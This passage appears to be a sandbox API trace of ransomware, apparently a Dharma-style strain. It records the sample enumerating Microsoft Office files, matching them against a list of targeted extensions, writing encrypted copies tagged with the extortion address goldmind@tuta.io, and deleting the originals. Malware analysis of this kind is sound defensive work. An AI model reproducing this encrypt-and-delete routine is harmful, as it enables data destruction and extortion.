[0094.491] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0094.491] lstrlenW (lpString=".docx") returned 5 [0094.491] lstrcmpiW (lpString1=".docx", lpString2="5.MID") returned -1 [0094.491] lstrlenW (lpString=".pdf") returned 4 [0094.492] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0094.492] lstrlenW (lpString=".xls") returned 4 [0094.492] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0094.492] lstrlenW (lpString=".xlsx") returned 5 [0094.492] lstrcmpiW (lpString1=".xlsx", lpString2="5.MID") returned -1 [0094.492] lstrlenW (lpString=".ppt") returned 4 [0094.492] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0094.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0094.492] lstrlenW (lpString=".zip") returned 4 [0094.492] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0094.492] lstrlenW (lpString=".rar") returned 4 [0094.492] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0094.492] lstrlenW (lpString=".bz2") returned 4 [0094.492] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0094.492] lstrlenW (lpString=".7z") returned 3 [0094.492] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0094.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0094.492] lstrlenW (lpString=".dbf") returned 4 [0094.492] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0094.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0094.492] lstrlenW (lpString=".1cd") returned 4 [0094.492] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0094.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0094.492] lstrlenW (lpString=".jpg") returned 4 [0094.492] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0094.492] lstrcmpiW (lpString1=".MID", lpString2=".gold") returned 1 [0094.492] lstrlenW (lpString="PARNT_06.MID") returned 12 [0094.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0094.492] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=7768) returned 1 [0094.492] CloseHandle (hObject=0x3a8) returned 1 [0094.493] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid")) returned 0x20 [0094.493] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0094.493] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0094.493] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.493] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.493] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0094.493] GetLastError () returned 0x0 [0094.493] ReadFile (in: hFile=0x3a8, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x1e58, lpOverlapped=0x0) returned 1 [0094.810] WriteFile (in: hFile=0x398, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x1e60, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x1e60, lpOverlapped=0x0) returned 1 [0094.811] ReadFile (in: hFile=0x3a8, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0094.811] WriteFile (in: hFile=0x398, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xec, lpOverlapped=0x0) returned 1 [0094.811] SetEndOfFile (hFile=0x398) returned 1 [0094.811] CloseHandle (hObject=0x398) returned 1 [0094.811] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.811] SetEndOfFile (hFile=0x3a8) returned 1 [0094.813] CloseHandle (hObject=0x3a8) returned 1 [0094.813] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0094.851] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid")) returned 1 [0094.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0094.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0094.852] lstrlenW (lpString=".doc") returned 4 [0094.852] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0094.852] lstrlenW (lpString=".docx") returned 5 [0094.852] lstrcmpiW (lpString1=".docx", lpString2="6.MID") returned -1 [0094.852] lstrlenW (lpString=".pdf") returned 4 [0094.852] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0094.852] lstrlenW (lpString=".xls") returned 4 [0094.852] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0094.852] lstrlenW (lpString=".xlsx") returned 5 [0094.852] lstrcmpiW (lpString1=".xlsx", lpString2="6.MID") returned -1 [0094.852] lstrlenW (lpString=".ppt") returned 4 [0094.852] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0094.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0094.852] lstrlenW (lpString=".zip") returned 4 [0094.852] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0094.852] lstrlenW (lpString=".rar") returned 4 [0094.852] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0094.852] lstrlenW (lpString=".bz2") returned 4 [0094.852] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0094.852] lstrlenW (lpString=".7z") returned 3 [0094.852] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0094.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0094.852] lstrlenW (lpString=".dbf") returned 4 [0094.852] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0094.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0094.852] lstrlenW (lpString=".1cd") returned 4 [0094.852] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0094.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0094.852] lstrlenW (lpString=".jpg") returned 4 [0094.852] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0094.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0094.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0094.853] lstrlenW (lpString=".doc") returned 4 [0094.853] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0094.853] lstrlenW (lpString=".docx") returned 5 [0094.853] lstrcmpiW (lpString1=".docx", lpString2="6.MID") returned -1 [0094.853] lstrlenW (lpString=".pdf") returned 4 [0094.853] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0094.853] lstrlenW (lpString=".xls") returned 4 [0094.853] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0094.853] lstrlenW (lpString=".xlsx") returned 5 [0094.853] lstrcmpiW (lpString1=".xlsx", lpString2="6.MID") returned -1 [0094.853] lstrlenW (lpString=".ppt") returned 4 [0094.853] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0094.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0094.853] lstrlenW (lpString=".zip") returned 4 [0094.853] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0094.853] lstrlenW (lpString=".rar") returned 4 [0094.853] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0094.853] lstrlenW (lpString=".bz2") returned 4 [0094.853] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0094.853] lstrlenW (lpString=".7z") returned 3 [0094.853] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0094.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0094.853] lstrlenW (lpString=".dbf") returned 4 [0094.853] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0094.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0094.853] lstrlenW (lpString=".1cd") returned 4 [0094.853] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0094.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0094.853] lstrlenW (lpString=".jpg") returned 4 [0094.853] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0094.853] lstrcmpiW (lpString1=".MID", lpString2=".gold") returned 1 [0094.853] lstrlenW (lpString="SUMER_01.MID") returned 12 [0094.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sumer_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0094.854] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=14044) returned 1 [0094.854] CloseHandle (hObject=0x3b0) returned 1 [0094.854] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sumer_01.mid")) returned 0x20 [0094.854] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sumer_01.mid.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0094.854] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sumer_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0094.854] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.855] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.855] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sumer_01.mid.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0094.857] GetLastError () returned 0x0 [0094.857] ReadFile (in: hFile=0x3b0, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x36dc, lpOverlapped=0x0) returned 1 [0094.890] WriteFile (in: hFile=0x38c, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x36e0, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x36e0, lpOverlapped=0x0) returned 1 [0094.890] ReadFile (in: hFile=0x3b0, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0094.890] WriteFile (in: hFile=0x38c, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xec, lpOverlapped=0x0) returned 1 [0094.891] SetEndOfFile (hFile=0x38c) returned 1 [0094.891] CloseHandle (hObject=0x38c) returned 1 [0094.891] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.891] SetEndOfFile (hFile=0x3b0) returned 1 [0094.893] CloseHandle (hObject=0x3b0) returned 1 [0094.893] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0094.909] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sumer_01.mid")) returned 1 [0094.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63 [0094.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63 [0094.971] lstrlenW (lpString=".doc") returned 4 [0094.971] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0094.971] lstrlenW (lpString=".docx") returned 5 [0094.971] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0094.971] lstrlenW (lpString=".pdf") returned 4 [0094.971] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0094.971] lstrlenW (lpString=".xls") returned 4 [0094.971] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0094.971] lstrlenW (lpString=".xlsx") returned 5 [0094.971] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0094.971] lstrlenW (lpString=".ppt") returned 4 [0094.971] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0094.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63 [0094.971] lstrlenW (lpString=".zip") returned 4 [0094.971] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0094.972] lstrlenW (lpString=".rar") returned 4 [0094.972] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0094.972] lstrlenW (lpString=".bz2") returned 4 [0094.972] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0094.972] lstrlenW (lpString=".7z") returned 3 [0094.972] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0094.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63 [0094.972] lstrlenW (lpString=".dbf") returned 4 [0094.972] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0094.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63 [0094.972] lstrlenW (lpString=".1cd") returned 4 [0094.972] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0094.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63 [0094.972] lstrlenW (lpString=".jpg") returned 4 [0094.972] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0094.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63 [0094.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63 [0094.972] lstrlenW (lpString=".doc") returned 4 [0094.972] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0094.972] lstrlenW (lpString=".docx") returned 5 [0094.972] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0094.972] lstrlenW (lpString=".pdf") returned 4 [0094.972] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0094.972] lstrlenW (lpString=".xls") returned 4 [0094.972] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0094.972] lstrlenW (lpString=".xlsx") returned 5 [0094.972] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0094.972] lstrlenW (lpString=".ppt") returned 4 [0094.972] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0094.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63 [0094.972] lstrlenW (lpString=".zip") returned 4 [0094.972] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0094.972] lstrlenW (lpString=".rar") returned 4 [0094.972] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0094.972] lstrlenW (lpString=".bz2") returned 4 [0094.972] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0094.972] lstrlenW (lpString=".7z") returned 3 [0094.972] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0094.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63 [0094.972] lstrlenW (lpString=".dbf") returned 4 [0094.972] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0094.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63 [0094.972] lstrlenW (lpString=".1cd") returned 4 [0094.972] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0094.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63 [0094.972] lstrlenW (lpString=".jpg") returned 4 [0094.972] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0094.972] lstrcmpiW (lpString1=".eftx", lpString2=".gold") returned -1 [0094.972] lstrlenW (lpString="Angles.eftx") returned 11 [0094.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\angles.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0095.118] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=27365) returned 1 [0095.118] CloseHandle (hObject=0x3b0) returned 1 [0095.119] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\angles.eftx")) returned 0x20 [0095.151] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\angles.eftx.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0095.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\angles.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0095.290] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.290] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.290] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\angles.eftx.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0095.291] GetLastError () returned 0x0 [0095.291] ReadFile (in: hFile=0x194, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x6ae5, lpOverlapped=0x0) returned 1 [0095.321] WriteFile (in: hFile=0x39c, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x6af0, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x6af0, lpOverlapped=0x0) returned 1 [0095.322] ReadFile (in: hFile=0x194, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0095.322] WriteFile (in: hFile=0x39c, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xea, lpOverlapped=0x0) returned 1 [0095.322] SetEndOfFile (hFile=0x39c) returned 1 [0095.322] CloseHandle (hObject=0x39c) returned 1 [0095.322] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.322] SetEndOfFile (hFile=0x194) returned 1 [0095.325] CloseHandle (hObject=0x194) returned 1 [0095.325] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0095.325] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\angles.eftx")) returned 1 [0095.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0095.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0095.325] lstrlenW (lpString=".doc") returned 4 [0095.325] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0095.326] lstrlenW (lpString=".docx") returned 5 [0095.326] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0095.326] lstrlenW (lpString=".pdf") returned 4 [0095.326] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0095.326] lstrlenW (lpString=".xls") returned 4 [0095.326] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0095.326] lstrlenW (lpString=".xlsx") returned 5 [0095.326] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0095.326] lstrlenW (lpString=".ppt") returned 4 [0095.326] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0095.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0095.326] lstrlenW (lpString=".zip") returned 4 [0095.326] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0095.326] lstrlenW (lpString=".rar") returned 4 [0095.326] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0095.326] lstrlenW (lpString=".bz2") returned 4 [0095.326] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0095.326] lstrlenW (lpString=".7z") returned 3 [0095.326] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0095.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0095.326] lstrlenW (lpString=".dbf") returned 4 [0095.326] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0095.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0095.326] lstrlenW (lpString=".1cd") returned 4 [0095.326] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0095.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0095.326] lstrlenW (lpString=".jpg") returned 4 [0095.326] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0095.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0095.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0095.326] lstrlenW (lpString=".doc") returned 4 [0095.326] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0095.326] lstrlenW (lpString=".docx") returned 5 [0095.326] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0095.326] lstrlenW (lpString=".pdf") returned 4 [0095.326] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0095.326] lstrlenW (lpString=".xls") returned 4 [0095.326] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0095.326] lstrlenW (lpString=".xlsx") returned 5 [0095.326] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0095.326] lstrlenW (lpString=".ppt") returned 4 [0095.326] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0095.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0095.326] lstrlenW (lpString=".zip") returned 4 [0095.326] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0095.326] lstrlenW (lpString=".rar") returned 4 [0095.326] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0095.326] lstrlenW (lpString=".bz2") 